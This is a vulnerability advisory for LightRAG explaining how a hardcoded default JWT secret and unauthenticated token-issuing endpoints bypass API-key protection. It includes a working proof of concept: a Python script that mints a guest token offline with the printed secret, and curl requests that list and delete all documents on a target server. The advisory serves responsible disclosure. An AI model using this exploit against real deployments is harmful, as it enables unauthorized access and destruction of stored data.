LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200